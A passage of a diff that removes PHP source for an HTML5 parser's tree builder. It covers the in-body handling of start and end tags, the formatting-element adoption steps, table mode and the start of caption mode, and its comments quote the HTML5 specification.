HTML5::COMMENT: - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - break; - - case HTML5::STARTTAG: - switch ($token['name']) { - /* A start tag token whose tag name is one of: "script", - "style" */ - case 'script': - case 'style': - /* Process the token as if the insertion mode had been "in - head". */ - return $this->inHead($token); - break; - - /* A start tag token whose tag name is one of: "base", "link", - "meta", "title" */ - case 'base': - case 'link': - case 'meta': - case 'title': - /* Parse error. Process the token as if the insertion mode - had been "in head". */ - return $this->inHead($token); - break; - - /* A start tag token with the tag name "body" */ - case 'body': - /* Parse error. If the second element on the stack of open - elements is not a body element, or, if the stack of open - elements has only one node on it, then ignore the token. - (innerHTML case) */ - if (count($this->stack) === 1 || $this->stack[1]->nodeName !== 'body') { - // Ignore - - /* Otherwise, for each attribute on the token, check to see - if the attribute is already present on the body element (the - second element) on the stack of open elements. If it is not, - add the attribute and its corresponding value to that - element. */ - } else { - foreach ($token['attr'] as $attr) { - if (!$this->stack[1]->hasAttribute($attr['name'])) { - $this->stack[1]->setAttribute($attr['name'], $attr['value']); - } - } - } - break; - - /* A start tag whose tag name is one of: "address", - "blockquote", "center", "dir", "div", "dl", "fieldset", - "listing", "menu", "ol", "p", "ul" */ - case 'address': - case 'blockquote': - case 'center': - case 'dir': - case 'div': - case 'dl': - case 'fieldset': - case 'listing': - case 'menu': - case 'ol': - case 'p': - case 'ul': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if ($this->elementInScope('p')) { - $this->emitToken( - array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - ) - ); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - break; - - /* A start tag whose tag name is "form" */ - case 'form': - /* If the form element pointer is not null, ignore the - token with a parse error. */ - if ($this->form_pointer !== null) { - // Ignore. - - /* Otherwise: */ - } else { - /* If the stack of open elements has a p element in - scope, then act as if an end tag with the tag name p - had been seen. */ - if ($this->elementInScope('p')) { - $this->emitToken( - array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - ) - ); - } - - /* Insert an HTML element for the token, and set the - form element pointer to point to the element created. */ - $element = $this->insertElement($token); - $this->form_pointer = $element; - } - break; - - /* A start tag whose tag name is "li", "dd" or "dt" */ - case 'li': - case 'dd': - case 'dt': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if ($this->elementInScope('p')) { - $this->emitToken( - array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - ) - ); - } - - $stack_length = count($this->stack) - 1; - - for ($n = $stack_length; 0 <= $n; $n--) { - /* 1. Initialise node to be the current node (the - bottommost node of the stack). */ - $stop = false; - $node = $this->stack[$n]; - $cat = $this->getElementCategory($node->tagName); - - /* 2. If node is an li, dd or dt element, then pop all - the nodes from the current node up to node, including - node, then stop this algorithm. */ - if ($token['name'] === $node->tagName || ($token['name'] !== 'li' - && ($node->tagName === 'dd' || $node->tagName === 'dt')) - ) { - for ($x = $stack_length; $x >= $n; $x--) { - array_pop($this->stack); - } - - break; - } - - /* 3. If node is not in the formatting category, and is - not in the phrasing category, and is not an address or - div element, then stop this algorithm. */ - if ($cat !== self::FORMATTING && $cat !== self::PHRASING && - $node->tagName !== 'address' && $node->tagName !== 'div' - ) { - break; - } - } - - /* Finally, insert an HTML element with the same tag - name as the token's. */ - $this->insertElement($token); - break; - - /* A start tag token whose tag name is "plaintext" */ - case 'plaintext': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if ($this->elementInScope('p')) { - $this->emitToken( - array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - ) - ); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - return HTML5::PLAINTEXT; - break; - - /* A start tag whose tag name is one of: "h1", "h2", "h3", "h4", - "h5", "h6" */ - case 'h1': - case 'h2': - case 'h3': - case 'h4': - case 'h5': - case 'h6': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if ($this->elementInScope('p')) { - $this->emitToken( - array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - ) - ); - } - - /* If the stack of open elements has in scope an element whose - tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then - this is a parse error; pop elements from the stack until an - element with one of those tag names has been popped from the - stack. */ - while ($this->elementInScope(array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'))) { - array_pop($this->stack); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - break; - - /* A start tag whose tag name is "a" */ - case 'a': - /* If the list of active formatting elements contains - an element whose tag name is "a" between the end of the - list and the last marker on the list (or the start of - the list if there is no marker on the list), then this - is a parse error; act as if an end tag with the tag name - "a" had been seen, then remove that element from the list - of active formatting elements and the stack of open - elements if the end tag didn't already remove it (it - might not have if the element is not in table scope). */ - $leng = count($this->a_formatting); - - for ($n = $leng - 1; $n >= 0; $n--) { - if ($this->a_formatting[$n] === self::MARKER) { - break; - - } elseif ($this->a_formatting[$n]->nodeName === 'a') { - $this->emitToken( - array( - 'name' => 'a', - 'type' => HTML5::ENDTAG - ) - ); - break; - } - } - - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $el = $this->insertElement($token); - - /* Add that element to the list of active formatting - elements. */ - $this->a_formatting[] = $el; - break; - - /* A start tag whose tag name is one of: "b", "big", "em", "font", - "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ - case 'b': - case 'big': - case 'em': - case 'font': - case 'i': - case 'nobr': - case 's': - case 'small': - case 'strike': - case 'strong': - case 'tt': - case 'u': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $el = $this->insertElement($token); - - /* Add that element to the list of active formatting - elements. */ - $this->a_formatting[] = $el; - break; - - /* A start tag token whose tag name is "button" */ - case 'button': - /* If the stack of open elements has a button element in scope, - then this is a parse error; act as if an end tag with the tag - name "button" had been seen, then reprocess the token. (We don't - do that. Unnecessary.) */ - if ($this->elementInScope('button')) { - $this->inBody( - array( - 'name' => 'button', - 'type' => HTML5::ENDTAG - ) - ); - } - - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - break; - - /* A start tag token whose tag name is one of: "marquee", "object" */ - case 'marquee': - case 'object': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - break; - - /* A start tag token whose tag name is "xmp" */ - case 'xmp': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Switch the content model flag to the CDATA state. */ - return HTML5::CDATA; - break; - - /* A start tag whose tag name is "table" */ - case 'table': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if ($this->elementInScope('p')) { - $this->emitToken( - array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - ) - ); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in table". */ - $this->mode = self::IN_TABLE; - break; - - /* A start tag whose tag name is one of: "area", "basefont", - "bgsound", "br", "embed", "img", "param", "spacer", "wbr" */ - case 'area': - case 'basefont': - case 'bgsound': - case 'br': - case 'embed': - case 'img': - case 'param': - case 'spacer': - case 'wbr': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "hr" */ - case 'hr': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if ($this->elementInScope('p')) { - $this->emitToken( - array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - ) - ); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "image" */ - case 'image': - /* Parse error. Change the token's tag name to "img" and - reprocess it. (Don't ask.) */ - $token['name'] = 'img'; - return $this->inBody($token); - break; - - /* A start tag whose tag name is "input" */ - case 'input': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an input element for the token. */ - $element = $this->insertElement($token, false); - - /* If the form element pointer is not null, then associate the - input element with the form element pointed to by the form - element pointer. */ - $this->form_pointer !== null - ? $this->form_pointer->appendChild($element) - : end($this->stack)->appendChild($element); - - /* Pop that input element off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "isindex" */ - case 'isindex': - /* Parse error. */ - // w/e - - /* If the form element pointer is not null, - then ignore the token. */ - if ($this->form_pointer === null) { - /* Act as if a start tag token with the tag name "form" had - been seen. */ - $this->inBody( - array( - 'name' => 'body', - 'type' => HTML5::STARTTAG, - 'attr' => array() - ) - ); - - /* Act as if a start tag token with the tag name "hr" had - been seen. */ - $this->inBody( - array( - 'name' => 'hr', - 'type' => HTML5::STARTTAG, - 'attr' => array() - ) - ); - - /* Act as if a start tag token with the tag name "p" had - been seen. */ - $this->inBody( - array( - 'name' => 'p', - 'type' => HTML5::STARTTAG, - 'attr' => array() - ) - ); - - /* Act as if a start tag token with the tag name "label" - had been seen. */ - $this->inBody( - array( - 'name' => 'label', - 'type' => HTML5::STARTTAG, - 'attr' => array() - ) - ); - - /* Act as if a stream of character tokens had been seen. */ - $this->insertText( - 'This is a searchable index. ' . - 'Insert your search keywords here: ' - ); - - /* Act as if a start tag token with the tag name "input" - had been seen, with all the attributes from the "isindex" - token, except with the "name" attribute set to the value - "isindex" (ignoring any explicit "name" attribute). */ - $attr = $token['attr']; - $attr[] = array('name' => 'name', 'value' => 'isindex'); - - $this->inBody( - array( - 'name' => 'input', - 'type' => HTML5::STARTTAG, - 'attr' => $attr - ) - ); - - /* Act as if a stream of character tokens had been seen - (see below for what they should say). */ - $this->insertText( - 'This is a searchable index. ' . - 'Insert your search keywords here: ' - ); - - /* Act as if an end tag token with the tag name "label" - had been seen. */ - $this->inBody( - array( - 'name' => 'label', - 'type' => HTML5::ENDTAG - ) - ); - - /* Act as if an end tag token with the tag name "p" had - been seen. */ - $this->inBody( - array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - ) - ); - - /* Act as if a start tag token with the tag name "hr" had - been seen. */ - $this->inBody( - array( - 'name' => 'hr', - 'type' => HTML5::ENDTAG - ) - ); - - /* Act as if an end tag token with the tag name "form" had - been seen. */ - $this->inBody( - array( - 'name' => 'form', - 'type' => HTML5::ENDTAG - ) - ); - } - break; - - /* A start tag whose tag name is "textarea" */ - case 'textarea': - $this->insertElement($token); - - /* Switch the tokeniser's content model flag to the - RCDATA state. */ - return HTML5::RCDATA; - break; - - /* A start tag whose tag name is one of: "iframe", "noembed", - "noframes" */ - case 'iframe': - case 'noembed': - case 'noframes': - $this->insertElement($token); - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - break; - - /* A start tag whose tag name is "select" */ - case 'select': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in select". */ - $this->mode = self::IN_SELECT; - break; - - /* A start or end tag whose tag name is one of: "caption", "col", - "colgroup", "frame", "frameset", "head", "option", "optgroup", - "tbody", "td", "tfoot", "th", "thead", "tr". */ - case 'caption': - case 'col': - case 'colgroup': - case 'frame': - case 'frameset': - case 'head': - case 'option': - case 'optgroup': - case 'tbody': - case 'td': - case 'tfoot': - case 'th': - case 'thead': - case 'tr': - // Parse error. Ignore the token. - break; - - /* A start or end tag whose tag name is one of: "event-source", - "section", "nav", "article", "aside", "header", "footer", - "datagrid", "command" */ - case 'event-source': - case 'section': - case 'nav': - case 'article': - case 'aside': - case 'header': - case 'footer': - case 'datagrid': - case 'command': - // Work in progress! - break; - - /* A start tag token not covered by the previous entries */ - default: - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - $this->insertElement($token, true, true); - break; - } - break; - - case HTML5::ENDTAG: - switch ($token['name']) { - /* An end tag with the tag name "body" */ - case 'body': - /* If the second element in the stack of open elements is - not a body element, this is a parse error. Ignore the token. - (innerHTML case) */ - if (count($this->stack) < 2 || $this->stack[1]->nodeName !== 'body') { - // Ignore. - - /* If the current node is not the body element, then this - is a parse error. */ - } elseif (end($this->stack)->nodeName !== 'body') { - // Parse error. - } - - /* Change the insertion mode to "after body". */ - $this->mode = self::AFTER_BODY; - break; - - /* An end tag with the tag name "html" */ - case 'html': - /* Act as if an end tag with tag name "body" had been seen, - then, if that token wasn't ignored, reprocess the current - token. */ - $this->inBody( - array( - 'name' => 'body', - 'type' => HTML5::ENDTAG - ) - ); - - return $this->afterBody($token); - break; - - /* An end tag whose tag name is one of: "address", "blockquote", - "center", "dir", "div", "dl", "fieldset", "listing", "menu", - "ol", "pre", "ul" */ - case 'address': - case 'blockquote': - case 'center': - case 'dir': - case 'div': - case 'dl': - case 'fieldset': - case 'listing': - case 'menu': - case 'ol': - case 'pre': - case 'ul': - /* If the stack of open elements has an element in scope - with the same tag name as that of the token, then generate - implied end tags. */ - if ($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with - the same tag name as that of the token, then this - is a parse error. */ - // w/e - - /* If the stack of open elements has an element in - scope with the same tag name as that of the token, - then pop elements from this stack until an element - with that tag name has been popped from the stack. */ - for ($n = count($this->stack) - 1; $n >= 0; $n--) { - if ($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is "form" */ - case 'form': - /* If the stack of open elements has an element in scope - with the same tag name as that of the token, then generate - implied end tags. */ - if ($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - } - - if (end($this->stack)->nodeName !== $token['name']) { - /* Now, if the current node is not an element with the - same tag name as that of the token, then this is a parse - error. */ - // w/e - - } else { - /* Otherwise, if the current node is an element with - the same tag name as that of the token pop that element - from the stack. */ - array_pop($this->stack); - } - - /* In any case, set the form element pointer to null. */ - $this->form_pointer = null; - break; - - /* An end tag whose tag name is "p" */ - case 'p': - /* If the stack of open elements has a p element in scope, - then generate implied end tags, except for p elements. */ - if ($this->elementInScope('p')) { - $this->generateImpliedEndTags(array('p')); - - /* If the current node is not a p element, then this is - a parse error. */ - // k - - /* If the stack of open elements has a p element in - scope, then pop elements from this stack until the stack - no longer has a p element in scope. */ - for ($n = count($this->stack) - 1; $n >= 0; $n--) { - if ($this->elementInScope('p')) { - array_pop($this->stack); - - } else { - break; - } - } - } - break; - - /* An end tag whose tag name is "dd", "dt", or "li" */ - case 'dd': - case 'dt': - case 'li': - /* If the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then - generate implied end tags, except for elements with the - same tag name as the token. */ - if ($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(array($token['name'])); - - /* If the current node is not an element with the same - tag name as the token, then this is a parse error. */ - // w/e - - /* If the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then - pop elements from this stack until an element with that - tag name has been popped from the stack. */ - for ($n = count($this->stack) - 1; $n >= 0; $n--) { - if ($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is one of: "h1", "h2", "h3", "h4", - "h5", "h6" */ - case 'h1': - case 'h2': - case 'h3': - case 'h4': - case 'h5': - case 'h6': - $elements = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'); - - /* If the stack of open elements has in scope an element whose - tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then - generate implied end tags. */ - if ($this->elementInScope($elements)) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with the same - tag name as that of the token, then this is a parse error. */ - // w/e - - /* If the stack of open elements has in scope an element - whose tag name is one of "h1", "h2", "h3", "h4", "h5", or - "h6", then pop elements from the stack until an element - with one of those tag names has been popped from the stack. */ - while ($this->elementInScope($elements)) { - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is one of: "a", "b", "big", "em", - "font", "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ - case 'a': - case 'b': - case 'big': - case 'em': - case 'font': - case 'i': - case 'nobr': - case 's': - case 'small': - case 'strike': - case 'strong': - case 'tt': - case 'u': - /* 1. Let the formatting element be the last element in - the list of active formatting elements that: - * is between the end of the list and the last scope - marker in the list, if any, or the start of the list - otherwise, and - * has the same tag name as the token. - */ - while (true) { - for ($a = count($this->a_formatting) - 1; $a >= 0; $a--) { - if ($this->a_formatting[$a] === self::MARKER) { - break; - - } elseif ($this->a_formatting[$a]->tagName === $token['name']) { - $formatting_element = $this->a_formatting[$a]; - $in_stack = in_array($formatting_element, $this->stack, true); - $fe_af_pos = $a; - break; - } - } - - /* If there is no such node, or, if that node is - also in the stack of open elements but the element - is not in scope, then this is a parse error. Abort - these steps. The token is ignored. */ - if (!isset($formatting_element) || ($in_stack && - !$this->elementInScope($token['name'])) - ) { - break; - - /* Otherwise, if there is such a node, but that node - is not in the stack of open elements, then this is a - parse error; remove the element from the list, and - abort these steps. */ - } elseif (isset($formatting_element) && !$in_stack) { - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - break; - } - - /* 2. Let the furthest block be the topmost node in the - stack of open elements that is lower in the stack - than the formatting element, and is not an element in - the phrasing or formatting categories. There might - not be one. */ - $fe_s_pos = array_search($formatting_element, $this->stack, true); - $length = count($this->stack); - - for ($s = $fe_s_pos + 1; $s < $length; $s++) { - $category = $this->getElementCategory($this->stack[$s]->nodeName); - - if ($category !== self::PHRASING && $category !== self::FORMATTING) { - $furthest_block = $this->stack[$s]; - } - } - - /* 3. If there is no furthest block, then the UA must - skip the subsequent steps and instead just pop all - the nodes from the bottom of the stack of open - elements, from the current node up to the formatting - element, and remove the formatting element from the - list of active formatting elements. */ - if (!isset($furthest_block)) { - for ($n = $length - 1; $n >= $fe_s_pos; $n--) { - array_pop($this->stack); - } - - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - break; - } - - /* 4. Let the common ancestor be the element - immediately above the formatting element in the stack - of open elements. */ - $common_ancestor = $this->stack[$fe_s_pos - 1]; - - /* 5. If the furthest block has a parent node, then - remove the furthest block from its parent node. */ - if ($furthest_block->parentNode !== null) { - $furthest_block->parentNode->removeChild($furthest_block); - } - - /* 6. Let a bookmark note the position of the - formatting element in the list of active formatting - elements relative to the elements on either side - of it in the list. */ - $bookmark = $fe_af_pos; - - /* 7. Let node and last node be the furthest block. - Follow these steps: */ - $node = $furthest_block; - $last_node = $furthest_block; - - while (true) { - for ($n = array_search($node, $this->stack, true) - 1; $n >= 0; $n--) { - /* 7.1 Let node be the element immediately - prior to node in the stack of open elements. */ - $node = $this->stack[$n]; - - /* 7.2 If node is not in the list of active - formatting elements, then remove node from - the stack of open elements and then go back - to step 1. */ - if (!in_array($node, $this->a_formatting, true)) { - unset($this->stack[$n]); - $this->stack = array_merge($this->stack); - - } else { - break; - } - } - - /* 7.3 Otherwise, if node is the formatting - element, then go to the next step in the overall - algorithm. */ - if ($node === $formatting_element) { - break; - - /* 7.4 Otherwise, if last node is the furthest - block, then move the aforementioned bookmark to - be immediately after the node in the list of - active formatting elements. */ - } elseif ($last_node === $furthest_block) { - $bookmark = array_search($node, $this->a_formatting, true) + 1; - } - - /* 7.5 If node has any children, perform a - shallow clone of node, replace the entry for - node in the list of active formatting elements - with an entry for the clone, replace the entry - for node in the stack of open elements with an - entry for the clone, and let node be the clone. */ - if ($node->hasChildNodes()) { - $clone = $node->cloneNode(); - $s_pos = array_search($node, $this->stack, true); - $a_pos = array_search($node, $this->a_formatting, true); - - $this->stack[$s_pos] = $clone; - $this->a_formatting[$a_pos] = $clone; - $node = $clone; - } - - /* 7.6 Insert last node into node, first removing - it from its previous parent node if any. */ - if ($last_node->parentNode !== null) { - $last_node->parentNode->removeChild($last_node); - } - - $node->appendChild($last_node); - - /* 7.7 Let last node be node. */ - $last_node = $node; - } - - /* 8. Insert whatever last node ended up being in - the previous step into the common ancestor node, - first removing it from its previous parent node if - any. */ - if ($last_node->parentNode !== null) { - $last_node->parentNode->removeChild($last_node); - } - - $common_ancestor->appendChild($last_node); - - /* 9. Perform a shallow clone of the formatting - element. */ - $clone = $formatting_element->cloneNode(); - - /* 10. Take all of the child nodes of the furthest - block and append them to the clone created in the - last step. */ - while ($furthest_block->hasChildNodes()) { - $child = $furthest_block->firstChild; - $furthest_block->removeChild($child); - $clone->appendChild($child); - } - - /* 11. Append that clone to the furthest block. */ - $furthest_block->appendChild($clone); - - /* 12. Remove the formatting element from the list - of active formatting elements, and insert the clone - into the list of active formatting elements at the - position of the aforementioned bookmark. */ - $fe_af_pos = array_search($formatting_element, $this->a_formatting, true); - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - - $af_part1 = array_slice($this->a_formatting, 0, $bookmark - 1); - $af_part2 = array_slice($this->a_formatting, $bookmark, count($this->a_formatting)); - $this->a_formatting = array_merge($af_part1, array($clone), $af_part2); - - /* 13. Remove the formatting element from the stack - of open elements, and insert the clone into the stack - of open elements immediately after (i.e. in a more - deeply nested position than) the position of the - furthest block in that stack. */ - $fe_s_pos = array_search($formatting_element, $this->stack, true); - $fb_s_pos = array_search($furthest_block, $this->stack, true); - unset($this->stack[$fe_s_pos]); - - $s_part1 = array_slice($this->stack, 0, $fb_s_pos); - $s_part2 = array_slice($this->stack, $fb_s_pos + 1, count($this->stack)); - $this->stack = array_merge($s_part1, array($clone), $s_part2); - - /* 14. Jump back to step 1 in this series of steps. */ - unset($formatting_element, $fe_af_pos, $fe_s_pos, $furthest_block); - } - break; - - /* An end tag token whose tag name is one of: "button", - "marquee", "object" */ - case 'button': - case 'marquee': - case 'object': - /* If the stack of open elements has an element in scope whose - tag name matches the tag name of the token, then generate implied - tags. */ - if ($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with the same - tag name as the token, then this is a parse error. */ - // k - - /* Now, if the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then pop - elements from the stack until that element has been popped from - the stack, and clear the list of active formatting elements up - to the last marker. */ - for ($n = count($this->stack) - 1; $n >= 0; $n--) { - if ($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - - $marker = end(array_keys($this->a_formatting, self::MARKER, true)); - - for ($n = count($this->a_formatting) - 1; $n > $marker; $n--) { - array_pop($this->a_formatting); - } - } - break; - - /* Or an end tag whose tag name is one of: "area", "basefont", - "bgsound", "br", "embed", "hr", "iframe", "image", "img", - "input", "isindex", "noembed", "noframes", "param", "select", - "spacer", "table", "textarea", "wbr" */ - case 'area': - case 'basefont': - case 'bgsound': - case 'br': - case 'embed': - case 'hr': - case 'iframe': - case 'image': - case 'img': - case 'input': - case 'isindex': - case 'noembed': - case 'noframes': - case 'param': - case 'select': - case 'spacer': - case 'table': - case 'textarea': - case 'wbr': - // Parse error. Ignore the token. - break; - - /* An end tag token not covered by the previous entries */ - default: - for ($n = count($this->stack) - 1; $n >= 0; $n--) { - /* Initialise node to be the current node (the bottommost - node of the stack). */ - $node = end($this->stack); - - /* If node has the same tag name as the end tag token, - then: */ - if ($token['name'] === $node->nodeName) { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* If the tag name of the end tag token does not - match the tag name of the current node, this is a - parse error. */ - // k - - /* Pop all the nodes from the current node up to - node, including node, then stop this algorithm. */ - for ($x = count($this->stack) - $n; $x >= $n; $x--) { - array_pop($this->stack); - } - - } else { - $category = $this->getElementCategory($node); - - if ($category !== self::SPECIAL && $category !== self::SCOPING) { - /* Otherwise, if node is in neither the formatting - category nor the phrasing category, then this is a - parse error. Stop this algorithm. The end tag token - is ignored. */ - return false; - } - } - } - break; - } - break; - } - } - - private function inTable($token) - { - $clear = array('html', 'table'); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if ($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) - ) { - /* Append the character to the current node. */ - $text = $this->dom->createTextNode($token['data']); - end($this->stack)->appendChild($text); - - /* A comment token */ - } elseif ($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - end($this->stack)->appendChild($comment); - - /* A start tag whose tag name is "caption" */ - } elseif ($token['type'] === HTML5::STARTTAG && - $token['name'] === 'caption' - ) { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - - /* Insert an HTML element for the token, then switch the - insertion mode to "in caption". */ - $this->insertElement($token); - $this->mode = self::IN_CAPTION; - - /* A start tag whose tag name is "colgroup" */ - } elseif ($token['type'] === HTML5::STARTTAG && - $token['name'] === 'colgroup' - ) { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the - insertion mode to "in column group". */ - $this->insertElement($token); - $this->mode = self::IN_CGROUP; - - /* A start tag whose tag name is "col" */ - } elseif ($token['type'] === HTML5::STARTTAG && - $token['name'] === 'col' - ) { - $this->inTable( - array( - 'name' => 'colgroup', - 'type' => HTML5::STARTTAG, - 'attr' => array() - ) - ); - - $this->inColumnGroup($token); - - /* A start tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif ($token['type'] === HTML5::STARTTAG && in_array( - $token['name'], - array('tbody', 'tfoot', 'thead') - ) - ) { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the insertion - mode to "in table body". */ - $this->insertElement($token); - $this->mode = self::IN_TBODY; - - /* A start tag whose tag name is one of: "td", "th", "tr" */ - } elseif ($token['type'] === HTML5::STARTTAG && - in_array($token['name'], array('td', 'th', 'tr')) - ) { - /* Act as if a start tag token with the tag name "tbody" had been - seen, then reprocess the current token. */ - $this->inTable( - array( - 'name' => 'tbody', - 'type' => HTML5::STARTTAG, - 'attr' => array() - ) - ); - - return $this->inTableBody($token); - - /* A start tag whose tag name is "table" */ - } elseif ($token['type'] === HTML5::STARTTAG && - $token['name'] === 'table' - ) { - /* Parse error. Act as if an end tag token with the tag name "table" - had been seen, then, if that token wasn't ignored, reprocess the - current token. */ - $this->inTable( - array( - 'name' => 'table', - 'type' => HTML5::ENDTAG - ) - ); - - return $this->mainPhase($token); - - /* An end tag whose tag name is "table" */ - } elseif ($token['type'] === HTML5::ENDTAG && - $token['name'] === 'table' - ) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if (!$this->elementInScope($token['name'], true)) { - return false; - - /* Otherwise: */ - } else { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Now, if the current node is not a table element, then this - is a parse error. */ - // w/e - - /* Pop elements from this stack until a table element has been - popped from the stack. */ - while (true) { - $current = end($this->stack)->nodeName; - array_pop($this->stack); - - if ($current === 'table') { - break; - } - } - - /* Reset the insertion mode appropriately. */ - $this->resetInsertionMode(); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif ($token['type'] === HTML5::ENDTAG && in_array( - $token['name'], - array( - 'body', - 'caption', - 'col', - 'colgroup', - 'html', - 'tbody', - 'td', - 'tfoot', - 'th', - 'thead', - 'tr' - ) - ) - ) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* Parse error. Process the token as if the insertion mode was "in - body", with the following exception: */ - - /* If the current node is a table, tbody, tfoot, thead, or tr - element, then, whenever a node would be inserted into the current - node, it must instead be inserted into the foster parent element. */ - if (in_array( - end($this->stack)->nodeName, - array('table', 'tbody', 'tfoot', 'thead', 'tr') - ) - ) { - /* The foster parent element is the parent element of the last - table element in the stack of open elements, if there is a - table element and it has such a parent element. If there is no - table element in the stack of open elements (innerHTML case), - then the foster parent element is the first element in the - stack of open elements (the html element). Otherwise, if there - is a table element in the stack of open elements, but the last - table element in the stack of open elements has no parent, or - its parent node is not an element, then the foster parent - element is the element before the last table element in the - stack of open elements. */ - for ($n = count($this->stack) - 1; $n >= 0; $n--) { - if ($this->stack[$n]->nodeName === 'table') { - $table = $this->stack[$n]; - break; - } - } - - if (isset($table) && $table->parentNode !== null) { - $this->foster_parent = $table->parentNode; - - } elseif (!isset($table)) { - $this->foster_parent = $this->stack[0]; - - } elseif (isset($table) && ($table->parentNode === null || - $table->parentNode->nodeType !== XML_ELEMENT_NODE) - ) { - $this->foster_parent = $this->stack[$n - 1]; - } - } - - $this->inBody($token); - } - } - - private function inCaption($token) - { - /* An end tag whose tag name is "caption" */ - if ($token['type'] === HTML5::ENDTAG && $token['name'] === 'caption') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if (!$this->elementInScope($token['name'], true)) { - // Ignore - - /* Otherwise: */ - } else { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Now, if the current node is not a caption element, then this - is a parse error. */ - // w/e - - /* Pop elements from this stack until a caption element has - been popped from the stack. */ - while (true) { - $node 